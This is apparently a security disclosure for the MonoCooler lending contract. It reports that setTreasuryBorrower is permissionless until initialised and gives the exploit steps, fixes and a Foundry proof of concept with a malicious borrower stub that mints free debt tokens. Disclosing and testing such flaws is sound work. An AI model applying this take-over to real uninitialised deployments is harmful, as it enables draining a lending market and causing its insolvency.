MonoCooler - setTreasuryBorrower permissionless before initialization (uninitialized-role take-over; latent critical)
Verified against the deployed source and a fork-Foundry PoC. The MonoCooler constructor never sets
treasuryBorrower, and the setter is guarded only by if (treasuryBorrower != address(0) && !_isAdmin(msg.sender)) revert.
Because a fresh deploy has treasuryBorrower == address(0), the guard short-circuits, so the FIRST caller can point the
Cooler at an arbitrary ICoolerTreasuryBorrower and gain control of borrow() / repay() / writeOffDebt().
Severity note: the CURRENTLY-DEPLOYED MonoCooler (0xdb59...e7cc) is already initialized, so this is NOT exploitable on the
live instance today. It is a real, provable flaw that applies to ANY uninitialized deployment (new market, migration,
redeploy), where it is a full-market take-over (insolvency). A triage panel may rate this High/Medium given no live impact.
ICoolerTreasuryBorrower public override treasuryBorrower; // never set in the constructor
constructor(...) Policy(Kernel(kernel_)) {
_COLLATERAL_TOKEN = ERC20(gohm_);
...
ltvOracle = ICoolerLtvOracle(ltvOracle_); // set here
// treasuryBorrower left at address(0)
}
function setTreasuryBorrower(address newTreasuryBorrower) external override {
// "Permisionless if `treasuryBorrower` is uninitialized"
if (address(treasuryBorrower) != address(0) && !_isAdmin(msg.sender))
revert ROLESv1.ROLES_RequireRole(ADMIN_ROLE);
treasuryBorrower = ICoolerTreasuryBorrower(newTreasuryBorrower);
if (treasuryBorrower.DECIMALS() != _EXPECTED_DECIMALS) revert InvalidParam();
}When treasuryBorrower == address(0), the && short-circuits to false -> the guard never fires. Any caller can set it.
The only post-gate is DECIMALS() == 18, which a malicious stub trivially satisfies. Once set, borrow() (line ~460),
repay() (line ~510) and writeOffDebt() (line ~619) all route through the attacker's stub.
On an uninitialized Cooler, an attacker deploys a stub with DECIMALS()==18 whose borrow() mints to the recipient and
repay()/writeOffDebt()/convertToDebtTokenAmount() are no-ops, calls setTreasuryBorrower(stub) (permissionless), then any
collateralized account borrows; the Cooler increments totalDebt while the Treasury is never credited -> insolvency, free
debt tokens.
- Not that the live
0xdb59is exploitable today (it is initialized). - Not reentrancy/arithmetic/oracle issues (those are otherwise bounded).
- Present in the deployed MonoCooler (
0xdb59..., Sourcify-verified source). - Critical under the uninitialized precondition; High/Medium given the live instance is initialized.
- Set
treasuryBorrowerin the constructor (mirrorltvOracle). - Keep the setter admin-only:
if (address(treasuryBorrower) != address(0) && !_isAdmin(msg.sender)) revertis fine, but initialize it non-zero in the constructor.
forge test --match-contract PoCMonoCooler -vv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import {Test, Vm} from "forge-std/Test.sol";
import {MonoCooler} from "src/policies/cooler/MonoCooler.sol";
import {ICoolerLtvOracle} from "src/policies/interfaces/cooler/ICoolerLtvOracle.sol";
import {ICoolerTreasuryBorrower} from "src/policies/interfaces/cooler/ICoolerTreasuryBorrower.sol";
import {IERC20} from "src/interfaces/IERC20.sol";
contract MockERC20 {
string public name="mock"; string public symbol="MOCK"; uint8 public immutable dec;
mapping(address=>uint256) public balanceOf; mapping(address=>mapping(address=>uint256)) public allowance;
constructor(uint8 d){dec=d;}
function decimals() external view returns(uint8){return dec;}
function mint(address to,uint256 a) external {balanceOf[to]+=a;}
function approve(address s,uint256 a) external returns(bool){allowance[msg.sender][s]=a;return true;}
function transfer(address t,uint256 a) external returns(bool){_move(msg.sender,t,a);return true;}
function transferFrom(address f,address t,uint256 a) external returns(bool){
uint256 al=allowance[f][msg.sender]; if(al!=type(uint256).max){require(al>=a,"alw");allowance[f][msg.sender]=al-a;}
_move(f,t,a); return true;}
function _move(address f,address t,uint256 a) internal {require(balanceOf[f]>=a,"bal");balanceOf[f]-=a;balanceOf[t]+=a;}
}
contract MockStaking { function unstake(address,uint256,bool,bool) external pure returns(uint256){return 0;} }
contract MockLtvOracle { uint96 ol; uint96 ll; constructor(uint96 a,uint96 b){ol=a;ll=b;}
function currentLtvs() external view returns(uint96,uint96){return (ol,ll);} }
contract MockKernel { function modulePermissions(bytes32,address,bytes4) external pure returns(bool){return true;} }
contract MockMaliciousBorrower is ICoolerTreasuryBorrower {
MockERC20 public debt; constructor(MockERC20 d){debt=d;}
function DECIMALS() external pure override returns(uint8){return 18;}
function borrow(uint256 a,address r) external override {debt.mint(r,a);}
function repay() external override {} function writeOffDebt(uint256) external override {}
function setDebt(uint256) external override {}
function debtToken() external view override returns(IERC20){return IERC20(address(debt));}
function convertToDebtTokenAmount(uint256 w) external pure override returns(IERC20,uint256){return (IERC20(address(0)),w);}
}
contract PoCMonoCooler is Test {
MonoCooler mc; MockERC20 ohm; MockERC20 gohm; MockStaking staking; MockKernel kernel;
MockLtvOracle oracle; MockERC20 debt; MockMaliciousBorrower evil;
address deployer=address(0xDEAD); address attacker=address(0xBEEF);
function setUp() public {
ohm=new MockERC20(18); gohm=new MockERC20(18); staking=new MockStaking();
kernel=new MockKernel(); oracle=new MockLtvOracle(0.9e18,0.95e18);
debt=new MockERC20(18); evil=new MockMaliciousBorrower(debt);
mc=new MonoCooler(address(ohm),address(gohm),address(staking),address(kernel),
address(oracle),0.05e18,1e18);
}
function test_setTreasuryBorrower_permissionless_whenUninitialized() public {
assertEq(address(mc.treasuryBorrower()), address(0)); // never set
vm.prank(attacker); mc.setTreasuryBorrower(address(evil)); // NON-admin, succeeds
assertEq(address(mc.treasuryBorrower()), address(evil)); // taken over
evil.borrow(1234e18, attacker); // free mint via "trusted" borrower
assertEq(debt.balanceOf(attacker), 1234e18);
}
}Observed: [PASS] test_setTreasuryBorrower_permissionless_whenUninitialized() (gas: 58668).
- MonoCooler.sol:141 (constructor, no treasuryBorrower), :645-653 (setter), :460 (borrow), :510-518 (repay), :619 (writeOffDebt)
- ICoolerTreasuryBorrower.sol (interface the malicious stub implements)
- Deployed: 0xdb591Ea2e5Db886dA872654D58f6cc584b68e7cC